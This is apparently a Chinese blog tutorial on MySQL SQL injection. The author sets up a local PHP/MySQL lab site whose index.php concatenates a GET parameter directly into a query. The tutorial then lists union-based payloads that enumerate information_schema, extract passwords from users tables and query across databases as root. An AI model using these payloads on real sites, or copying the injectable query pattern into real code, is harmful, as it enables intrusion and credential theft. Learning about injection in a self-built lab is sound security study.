sql注入漏洞--MYSQL两种思路

在学习之前,先自己搭建了一个网站

在前端可以实现与后端数据库的交互查询

创建一个数据库名为wy,表名为users

建立字段,定义类型

插入数据

php 复制代码
INSERT INTO `users`(`name`, `password`,`photo`, `money`) VALUES ("DuZZ",123456,11,100);
INSERT INTO `users`( `name`, `password`, `photo`, `money`) VALUES ("GuQQ",654321,22,100);

确认

index.php

php 复制代码
<?php
$dbHost = "127.0.0.1";  //数据库地址
$dbUser = "root"; //登录数据库的用户名
$dbPass = "root";//登录数据库的密码
$dbName = "wy";//数据库的名称   
$link = @new mysqli($dbHost, $dbUser, $dbPass, $dbName); //建立数据库
if ($link->connect_error) 
{
    echo $mysqli->connect_error; 捕获数据库连接时的错误信息
}
if (isset($_GET['param'])) // 检查是否有传递的参数
{
    $param = $_GET['param'];
    $sql = "SELECT * FROM users WHERE id = '$param'";// 使用参数构建查询语句
} 
else 
{ 
    $sql = "SELECT * FROM users";// 默认查询语句
}

if ($results = mysqli_query($link, $sql)) //mysqli_query函数执行失败时返回 false,通过mysqli_query() 成功执行SELECT, SHOW, DESCRIBE或 EXPLAIN查询会返回一个mysqli_result 对象,其他查询则返回true。
{
    while ($result = mysqli_fetch_assoc($results)) //使用mysqli_fetch_assoc函数获取返回对象中的具体数据。
    {
        var_dump($result);  //输出每一行的数据
        echo "<hr/>";  //在输出之间添加<hr/>标签,以在结果之间添加水平分隔线。
    }
} 
else 
{
    die(mysqli_error($link)); //捕获SQL语句的错误,并结束脚本运行
}
$link->close();
?>

访问一下

通过get传参查询

相关函数:

sql注入漏洞

脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的sql语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)

$i=$_GET[id];//GET请求接受id参数名值给变i

$sql="select * from sy_guestbook where id=$i";

//?id=1 
//select *from sy_guestbook where id=1

//id=1 and
//select *from sy_guestbook where id=1 and

MYSQL 统一管理

最高数据库用户=root用户

数据库A-->网站A-->数据库用户A

表名

数据

数据库B-->网站B-->数据库用户B

数据库C-->网站C-->数据库用户C

为了网站和数据库的安全性,mysql内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MYSQL两种思路

1、非ROOT的注入攻击: 常规类的猜解

2、ROOT用户的注入攻击: 文件读写操作,跨库查询注入等

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema: 存储数据库下的数据库名及表名,列名信息的数据库

information_schema.tables:记录表名信息的表

information_schema.columns: 记录列名信息表

获取相关数据:

数据库版本-看是否符合information schema查询

-version()-5.7.26

数据库用户-看是否符合ROOT型注入攻击

-user()-root@localhost

当前操作系统-看是否支持大小写或文件路径选择

-@@version_compile_os-win64

数据库名字-为后期猜解指定数据库下的表,列做准备

-database()-wy

ROOT类型攻击-猜解数据,文件读写,跨库查询

获取wy数据库下面的表名信息:

php 复制代码
?param=-1' union select 1,2,3,4,table_name from information_schema.tables where table_schema='wy' --+

获取表名wy的列名信息:

php 复制代码
?param=-1' union select 1,2,3,4,column_name from information_schema.columns where table_name='users' and table_schema='wy'--+

获取指定数据:

php 复制代码
?param=-1' union select 1,2,3,4,password from wy.users --+

跨库注入

就是如果你是root用户,根据上面的假设,我是在wy这个数据库中进行查询的,但是如果我想要在其他的库中进行查询,那么我们就先在information_schema.schemata这个表中查询其他的库(下文为security),然后指定想要查询的库进行查询

获取当前MySQL 下的所有数据库名

php 复制代码
?param=-1' union select 1,2,3,4,schema_name from information_schema.schemata --+

获取数据库名为security下的表名信息

?param=-1' union select 1,2,3,4,table_name from information_schema.tables where table_schema='security' --+

获取表名为users的列名信息

?param=-1' union select 1,2,3,4,column_name from information_schema.columns where table_schema='security' and table_name='users' --+

获取指定数据

php 复制代码
?param=-1' union select 1,2,3,4,password from security.users --+
相关推荐
群联云防护小杜6 分钟前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai6 分钟前
HTTP协议及安全防范
网络协议·安全·http
黑客Jack1 小时前
防御 XSS 的七条原则
安全·web安全·xss
云云3212 小时前
怎么通过亚矩阵云手机实现营销?
大数据·服务器·安全·智能手机·矩阵
神一样的老师2 小时前
面向高精度网络的时间同步安全管理架构
网络·安全·架构
云云3214 小时前
云手机方案全解析
大数据·服务器·安全·智能手机·矩阵
云云3215 小时前
云手机能用来干什么?云手机在跨境电商领域的用途
服务器·线性代数·安全·智能手机·矩阵
云云3215 小时前
云手机方案总结
服务器·线性代数·安全·智能手机·矩阵
m0_748237055 小时前
2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web&数据安全&AI 题解WriteUp
前端·安全·web安全
网络安全(华哥)6 小时前
X-Forwarded-For注入漏洞
windows·安全·web安全